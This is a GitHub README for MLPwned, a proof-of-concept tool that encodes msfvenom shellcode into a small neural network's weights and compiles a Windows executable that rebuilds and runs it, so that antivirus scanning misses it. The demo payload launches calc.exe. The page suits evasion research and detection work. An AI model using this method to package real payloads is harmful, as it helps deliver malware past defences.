Skip to content

Obfuscating Malicious Code with Neural Networks

Notifications You must be signed in to change notification settings

sampagon/MLPwned

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 

Repository files navigation

MLPwned

MLPwned is a proof-of-concept tool that uses a small, overfitted neural network (specifically a multi-layer perceptron) to store and reconstruct arbitrary shellcode at runtime. By embedding the shellcode bytes into the model’s learned weights, the script makes static analysis significantly more difficult. This is because traditional antivirus or forensic tools won’t directly detect malicious byte sequences in the binary. The final output is a self-contained C file that includes both the trained model parameters and logic needed to rebuild and execute the shellcode on demand, all without requiring a GPU. This approach is inspired by implicit neural representations, highlighting how neural networks can be used in unconventional ways to obfuscate and deliver malicious payloads.

Table of Contents

Installation

1. Install Metasploit

Download and install Metasploit using the following commands:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

2. Install Python Packages

pip install -r requirements.txt

3. Install MinGW-w64

sudo apt update
sudo apt install mingw-w64

Usage

1. Generate Shellcode with msfvenom

msfvenom -a x64 --platform Windows -p windows/x64/exec CMD=calc.exe -f python

MLPwned Screenshot

2. Embed the Shellcode into MLPwned.py

Copy and paste the Python-formatted shellcode into MLPwned.py under the comment:

# Add msfvenom shellcode below

3. Run the Python Script

python MLPwned.py

MLPwned Screenshot

4. Compile MLPwned.c to a Windows Executable

x86_64-w64-mingw32-gcc -o MLPwned.exe MLPwned.c

About

Obfuscating Malicious Code with Neural Networks

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages